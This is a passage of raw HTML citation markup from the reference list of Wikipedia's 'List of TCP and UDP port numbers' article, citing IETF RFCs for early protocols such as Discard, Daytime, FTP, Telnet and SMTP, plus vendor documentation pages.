href=\"#cite_ref-rfc4960_12-3\"><sup><i><b>d</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-4\"><sup><i><b>e</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-5\"><sup><i><b>f</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-6\"><sup><i><b>g</b></i></sup></a> <a href=\"#cite_ref-rfc4960_12-7\"><sup><i><b>h</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFStewart2007\" class=\"citation cs1\">Stewart, Randall R., ed. (September 2007). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4960\"><i>Stream Control Transmission Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;135–136. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC4960\">10.17487/RFC4960</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc4960\">4960</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Stream+Control+Transmission+Protocol&amp;rft.pages=pp.-135-136&amp;rft.pub=IETF&amp;rft.date=2007-09&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC4960&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc4960&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc863-13\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc863_13-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc863#page-1\"><i>Discard Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0863\">10.17487/RFC0863</a></span>. STD 21.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc863\">863</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-10-07</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Discard+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0863&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc863%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-msft-tn-bb632665-14\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-msft-tn-bb632665_14-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://technet.microsoft.com/en-us/library/bb632665.aspx\">\"How to Configure the Ports Used for Wake On LAN\"</a>. <i><a href=\"/wiki/Microsoft_TechNet\" title=\"Microsoft TechNet\">Microsoft TechNet</a></i>. n.d. <a rel=\"nofollow\" class=\"external text\" href=\"https://web.archive.org/web/20160927201148/https://technet.microsoft.com/en-us/library/bb632665.aspx\">Archived</a> from the original on 2016-09-27<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>. <q>...&#160;The default port for the wake-up transmission is UDP port 9.&#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=Microsoft+TechNet&amp;rft.atitle=How+to+Configure+the+Ports+Used+for+Wake+On+LAN&amp;rft.chron=n.d.&amp;rft_id=https%3A%2F%2Ftechnet.microsoft.com%2Fen-us%2Flibrary%2Fbb632665.aspx&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-systat-netstat-15\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-systat-netstat_15-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-systat-netstat_15-1\"><sup><i><b>b</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"http://etutorials.org/Networking/network+security+assessment/Chapter+5.+Assessing+Remote+Information+Services/5.2+systat+and+netstat\">\"systat and netstat\"</a>. eTutorials. <q>...&#160;The <code>ps -ef</code> and <code>netstat -a</code> commands are bound to TCP ports 11 and 15, respectively. &#160;...</q></cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=unknown&amp;rft.btitle=systat+and+netstat&amp;rft.pub=eTutorials&amp;rft_id=http%3A%2F%2Fetutorials.org%2FNetworking%2Fnetwork%2Bsecurity%2Bassessment%2FChapter%2B5.%2BAssessing%2BRemote%2BInformation%2BServices%2F5.2%2Bsystat%2Band%2Bnetstat&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-&#82;FC866-16\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-RFC866_16-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc866\"><i>Active Users</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0866\">10.17487/RFC0866</a></span>. STD 24.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc866\">866</a>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Active+Users&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0866&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc866&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc867-17\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc867_17-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc867#page-1\"><i>Daytime Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0867\">10.17487/RFC0867</a></span>. STD 25.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc867\">867</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Daytime+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0867&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc867%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc865-18\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc865_18-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc865#page-1\"><i>Quote of the Day Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0865\">10.17487/RFC0865</a></span>. STD 23.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc865\">865</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Quote+of+the+Day+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0865&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc865%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1159-19\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1159_19-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFNelson1990\" class=\"citation cs1\">Nelson, Russell (June 1990). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1159#page-1\"><i>Message Send Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1159\">10.17487/RFC1159</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1159\">1159</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Message+Send+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1990-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1159&amp;rft.aulast=Nelson&amp;rft.aufirst=Russell&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1159%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc1312-20\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc1312_20-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFNelsonArnold1992\" class=\"citation cs1\">Nelson, Russell; Arnold, Geoff (April 1992). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1312\"><i>Message Send Protocol 2</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;3–4. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC1312\">10.17487/RFC1312</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc1312\">1312</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Message+Send+Protocol+2&amp;rft.pages=pp.-3-4&amp;rft.pub=IETF&amp;rft.date=1992-04&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC1312&amp;rft.aulast=Nelson&amp;rft.aufirst=Russell&amp;rft.au=Arnold%2C+Geoff&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc1312&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc864-21\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc864_21-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc864#page-1\"><i>Character Generator Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;1. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0864\">10.17487/RFC0864</a></span>. STD 22.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc864\">864</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Character+Generator+Protocol&amp;rft.pages=p.-1&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0864&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc864%26%23035%3Bpage-1&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc765-22\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc765_22-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1980\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a> (June 1980). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc765#page-57\"><i>File Transfer Protocol specification</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;57. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0765\">10.17487/RFC0765</a></span>. <a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc765\">765</a>.&#32;IEN 149<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=File+Transfer+Protocol+specification&amp;rft.pages=p.-57&amp;rft.pub=IETF&amp;rft.date=1980-06&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0765&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc765%26%23035%3Bpage-57&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc959-23\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc959_23-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostelReynolds1985\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a>; <a href=\"/wiki/Joyce_K._Reynolds\" title=\"Joyce K. Reynolds\">Reynolds, J.</a> (October 1985). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc959#page-59\"><i>File Transfer Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;59. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0959\">10.17487/RFC0959</a></span>. STD 9.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc959\">959</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-27</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=File+Transfer+Protocol&amp;rft.pages=p.-59&amp;rft.pub=IETF&amp;rft.date=1985-10&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0959&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft.au=Reynolds%2C+J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc959%26%23035%3Bpage-59&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc854-24\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc854_24-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostelReynolds1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a>; <a href=\"/wiki/Joyce_K._Reynolds\" title=\"Joyce K. Reynolds\">Reynolds, J.</a> (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc854#page-15\"><i>Telnet Protocol Specification</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;15. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0854\">10.17487/RFC0854</a></span>. STD 8.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc854\">854</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Telnet+Protocol+Specification&amp;rft.pages=p.-15&amp;rft.pub=IETF&amp;rft.date=1983-05&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0854&amp;rft.aulast=Postel&amp;rft.aufirst=J.&amp;rft.au=Reynolds%2C+J.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc854%26%23035%3Bpage-15&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc821-25\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc821_25-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostel1982\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, Jonathan B.</a> (August 1982). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc821#page-44\"><i>Simple Mail Transfer Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. p.&#160;44. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0821\">10.17487/RFC0821</a></span>. STD 10.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc821\">821</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&amp;rft.genre=book&amp;rft.btitle=Simple+Mail+Transfer+Protocol&amp;rft.pages=p.-44&amp;rft.pub=IETF&amp;rft.date=1982-08&amp;rft_id=info%3Adoi%2F10.17487%2F&#82;FC0821&amp;rft.aulast=Postel&amp;rft.aufirst=Jonathan+B.&amp;rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc821%26%23035%3Bpage-44&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-PAN-OS_HALinksAndBackupLinks-26\"><span class=\"mw-cite-backlink\">^ <a href=\"#cite_ref-PAN-OS_HALinksAndBackupLinks_26-0\"><sup><i><b>a</b></i></sup></a> <a href=\"#cite_ref-PAN-OS_HALinksAndBackupLinks_26-1\"><sup><i><b>b</b></i></sup></a> <a href=\"#cite_ref-PAN-OS_HALinksAndBackupLinks_26-2\"><sup><i><b>c</b></i></sup></a> <a href=\"#cite_ref-PAN-OS_HALinksAndBackupLinks_26-3\"><sup><i><b>d</b></i></sup></a></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"PAN-OS_HALinksAndBackupLinks\" class=\"citation web cs1\"><a rel=\"nofollow\" class=\"external text\" href=\"https://docs.paloaltonetworks.com/pan-os/9-1/pan-os-admin/high-availability/ha-concepts/ha-links-and-backup-links.html\">\"HA Links and Backup Links\"</a>. <i>docs.paloaltonetworks.com</i>. Palo Alto Networks<span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">14 September</span> 2020</span>.</cite><span title=\"ctx_ver=Z39.88-2004&amp;rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&amp;rft.genre=unknown&amp;rft.jtitle=docs.paloaltonetworks.com&amp;rft.atitle=HA+Links+and+Backup+Links&amp;rft_id=https%3A%2F%2Fdocs.paloaltonetworks.com%2Fpan-os%2F9-1%2Fpan-os-admin%2Fhigh-availability%2Fha-concepts%2Fha-links-and-backup-links.html&amp;rfr_id=info%3Asid%2Fen.wikipedia.org%3AList+of+TCP+and+UDP+port+numbers\" class=\"Z3988\"></span></span>\n</li>\n<li id=\"cite_note-rfc868-27\"><span class=\"mw-cite-backlink\"><b><a href=\"#cite_ref-rfc868_27-0\">^</a></b></span> <span class=\"reference-text\"><link rel=\"mw-deduplicated-inline-style\" href=\"mw-data:TemplateStyles:r1133582631\"/><cite id=\"CITEREFPostelHarrenstien1983\" class=\"citation cs1\"><a href=\"/wiki/Jon_Postel\" title=\"Jon Postel\">Postel, J.</a>; Harrenstien, K. (May 1983). <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc868\"><i>Time Protocol</i></a>. <a href=\"/wiki/Internet_Engineering_Task_Force\" title=\"Internet Engineering Task Force\">IETF</a>. pp.&#160;1–2. <a href=\"/wiki/Doi_(identifier)\" class=\"mw-redirect\" title=\"Doi (identifier)\">doi</a>:<span class=\"cs1-lock-free\" title=\"Freely accessible\"><a rel=\"nofollow\" class=\"external text\" href=\"https://doi.org/10.17487%2FRFC0868\">10.17487/RFC0868</a></span>. STD 26.&#32;<a href=\"/wiki/RFC_(identifier)\" class=\"mw-redirect\" title=\"RFC (identifier)\">RFC</a> <a rel=\"nofollow\" class=\"external text\" href=\"https://datatracker.ietf.org/doc/html/rfc868\">868</a><span class=\"reference-accessdate\">. Retrieved <span class=\"nowrap\">2016-09-28</span></span>.</cite><span 